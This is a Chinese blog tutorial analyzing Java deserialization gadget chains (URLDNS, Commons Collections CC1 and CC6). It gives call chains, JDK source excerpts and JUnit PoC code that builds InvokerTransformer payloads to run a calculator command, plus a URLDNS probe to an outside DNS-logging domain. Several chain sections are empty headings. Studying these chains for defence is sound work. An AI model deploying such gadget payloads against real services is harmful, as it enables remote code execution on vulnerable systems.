loading...
java反序列化链总结
Published in:2025-10-15 | category: Java 反序列化

0x00 前言

java序列化就是将java对象转化为字节流

而反序列化是字节流转化为原来的java对象,这里会有一个关键点,就是在反序列化时重写readObject(),java会自动调用readObject方法,如果里面有恶意代码就会执行

条件

1、恶意类和所有调用链都要实现Serializable接口

2、变量可控

3、链式调用

0x01介绍

URLDNS

这条链触发点是HashMap类的readObject()方法,在里面调用了类的hashCode方法,而url类的hashCode方法会进行一次dns的查询,解析主机名,向域名发起请求,实现反序列化链的漏洞探测

调用链条

1
2
3
4
5
6
7
8
HashMap.readObject()
-> HashMap.putVal()
-> HashMap.hash()
-> key.hashCode() [key 是 URL 对象]
-> URLStreamHandler.hashCode()
-> URLStreamHandler.getHostAddress()
-> InetAddress.getByName()
-> DNS 查询

CC1

最为经典和比较早期的一条反序列化链,是Apache Commons Collections反序列化漏洞的经典利用链。它通过AnnotationInvocationHandler连接Java反序列化入口与TransformedMapsetValue方法,在JDK 8u71以下环境中直接触发Transformer转换链,实现远程代码执行。

调用链条

1
2
3
4
5
6
7
8
9
10
11
12
AnnotationInvocationHandler.readObject()
-> memberValues.entrySet().iterator()
-> AbstractInputCheckedMapIterator.next()
-> AbstractInputCheckedMapIterator.setValue()
-> TransformedMap.checkSetValue()
-> TransformedMap.transform()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() [返回Runtime.class]
-> InvokerTransformer.transform() [getMethod "getRuntime"]
-> InvokerTransformer.transform() [invoke null]
-> InvokerTransformer.transform() [exec "calc"]
-> Runtime.getRuntime().exec("calc")

CC2

CC3

CC4

CC5

CC6

CC6链是Apache Commons Collections反序列化漏洞的高版本利用链。它通过TiedMapEntry连接HashSet的readObject方法与LazyMap的get方法,在JDK 8u71+环境中绕过AnnotationInvocationHandler限制,实现命令执行

调用链条

1
2
3
4
5
6
7
8
9
10
11
12
HashMap.readObject()
-> HashMap.hash()
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> TransformedMap.transform()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() [返回Runtime.class]
-> InvokerTransformer.transform() [getMethod "getRuntime"]
-> InvokerTransformer.transform() [invoke null]
-> InvokerTransformer.transform() [exec "calc"]
-> Runtime.getRuntime().exec("calc")

CC7

0x02调用实现&代码调试

1、URLDNS

一般用于探测漏洞是否存在,测试的jdk版本为jdk1.8.u411

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package urldns;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns implements Serializable {
public static void main(String[] args) throws Exception {
URL url = new URL("http://9a98a2e156.ddns.1433.eu.org.");
Field hashcode = URL.class.getDeclaredField("hashCode");
hashcode.setAccessible(true);
// hashcode != -1
hashcode.setInt(url,10);
HashMap<URL, Object> map = new HashMap<>();
map.put(url,null);
hashcode.setInt(url,-1);
// util.BaseSerialization.serializeObject("urldns/ser.bin",map);
util.BaseSerialization.deserializeObject("urldns/ser.bin");
}
// HashMap.readObject() -> HaspMap.putVal() -> HashMap.hash() -> URL.hashCode() 逆推过程
}

发现hashCode的真正处理器是handler,是URLStreamHandler类的hashCode

这里getHostAddress就会触发解析域名的操作,会做一个dns查询

所以关键点还是要走到handler.hashCode方法,这里只要hashCode不等于-1就会返回,但是问题是,hashCode在初始化的时候就是-1,会直接走下面的,直接进入dns查询,无法判断到底能否触发漏洞,所以要将hashCode设置一个不为-1的值

1
2
3
Field hashcode = URL.class.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.setInt(url,10);

但是可以发现在反序列化时,URL类的readObjec方法是没有调用hashCode方法的,所以要找到其他readObject才能间接调用hashCode

这里就利用到了hashMap的readObject,可以看到里面有个putVal方法里面调用了hash(key),跟进去查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

可以看到调用key.hashCode,这里的key是一个对象,如果变成url,就会调用url.hashCode方法

然后从上面代码可以看到这里的key是来自反序列化的对象的,那么就是要让这个key设置成url类,并且可以看到只要满足mappings > 0就会进入循环,现在设置了一个K为url的映射,所以是大于0的,最终会走到putVal方法

1
for (int i = 0; i < mappings; i++) {

所以需要用一个函数去映射处新的map,这里循环的时候就会遍历这个map,获取到key为url类

1
2
HashMap<URL, Object> map = new HashMap<>();
map.put(url,null);

但这时hashCode已经被我们修改成10,会直接返回hashCode,所以我们这里要将其改成-1,从而检查这条链是否真的被触发,最后将对象序列化

1
2
hashcode.setInt(url,-1);
util.BaseSerialization.deserializeObject("urldns/ser.bin");

至此,一条完整无害的漏洞探测链就完成了

2、CC1

要求:common-collections<=3.2.1 & < jdk8u71

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.Test;
import sun.reflect.annotation.AnnotationType;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
// 推导过程
@Test
// 从 invokerTransformer 执行 Runtime.getRuntime().exec()
public void InvokeExec() {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
);
invokerTransformer.transform(Runtime.getRuntime());
}
@Test
// 从transformedMap 调用 invoketransformer
public void InvokeExec2() {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
);
HashMap<Object, Object> map = new HashMap<>();
map.put("a","b");
Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer);
decorated.put("cmd",Runtime.getRuntime());
}
@Test
// 通过反射方法调用AnnotationInvocationHandler构造函数,构建实例函数并顺利进入到setValue()
public void InvokeExec3() throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a calculator"}
);
HashMap<Object, Object> map = new HashMap<>();
map.put("value",null);
Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer);
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
constantTransformer.transform(null);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorated);
utils.BaseSerialization.serializeObject("./ser.bin",o);
utils.BaseSerialization.deserializeObject("./ser.bin");
}
@Test
public void test() {
// 用来绕过两个if判断
AnnotationType annotationtype = AnnotationType.getInstance(Target.class);
Map<String, Class<?>> types = annotationtype.memberTypes();
for (Map.Entry<String, Class<?>> entry: types.entrySet()){
System.out.println(entry);
}
}
@Test
/*
完整链条
反序列化 -> Hash
*/
public void test3() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
});
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorated);
ByteObjectStream.serialise(o);
ByteObjectStream.deserialise("./ser.bin");
}
@Test
// 因为getRuntime不是一个序列化对象,通过反射方法调用invoke,间接执行getRuntime()
public void test4() throws Exception {
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime",null);
Object invoke = getRuntimeMethod.invoke(null);
Method execMethod = clazz.getMethod("exec", String.class);
execMethod.invoke(invoke,"open -a calculator");
}
}

3、CC6

漏洞成因:CC1在高版本jdk下的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.junit.Test;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
@Test
public void invoke1() {
// 还是从InvokerTransformer调用命令,可以直接调用命令但不是基于反序列化引起的,需要绕过这里排除干扰
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "2");
}
@Test
// 在调用过程中hashMap.put方法之后会让LazyMap的get方法里面的key不为0,是因为在此之前如果包含这个key则会直接返回,所以不能进入到key为空的执行流程,需要用hashMap.remove移除这个多余的key值
public void invoke2() throws NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,ct);
}
@Test
public void test() throws NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open -a Calculator"})
};
ChainedTransformer ct =new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(),new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"3");
lazymap.remove("2");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,ct);
utils.BaseSerialization.serializeObject("./ser.bin",hashMap);
utils.BaseSerialization.deserializeObject("./ser.bin");
}
}

这是jdk8u65的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

再看看超过8u71的代码,可以看到,这个代码对比上一段,是完全重写了readObject逻辑,不再直接操作Map(memberValue.setValue),而是用了LinkedHashMap,并且用了一个全新的HashMap类**AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7)**,并且不在调用setValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(objectToString(var11))).setMember((Method)var5.members().get(var10));
}
}
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

这时就需要找到新的调用链

挖掘思路:既然删除了setValue方法,因为这个方法里面会调用transform,那么可以再找一个类似类/方法也可以直接/间接调用transform,最终找到了一个Lazymap类,并且找到这个类里面有个方法满足上面的条件

然后全局找有调用map.get方法的类,找到TiedMapEntry类,里面的getValue方法会调用get

1
2
3
public Object getValue() {
return map.get(key);
}

并且这个getValue方法被hashCode方法调用,在前面cc1得知,其实hashCode可以经过hashmap调用

大致方法利用链可以写成:HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> factory.transform()

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里的putVal会调用hash的方法,并且这里的key是来自readObject的

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

既然这样,那就可以将key赋值为TiedMapEntry类作为入口,使用hashMap的put方法传key和value

1
hashMap.put(tiedMapEntry, "1");

但是这里出现一个问题,如果使用put会提前触发hash方法结束,不能确定是否存在漏洞,所以要先随便设置一个key,这里用一个无关紧要的ConstantTransformer类

在后面要用HashMap.put之后,由于前面已经设置了一个完整的key和value,在这个里面如果存在则不回进入到transform方法,所以必须将这个key对删除,用remove方法绕过并进入

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

4、CC2

5、CC3

6、CC4

7、CC5

0x03总结

CC链集合

Prev:
WireGuard接入家庭主机记录
Next:
记一次POP链分析
catalog
catalog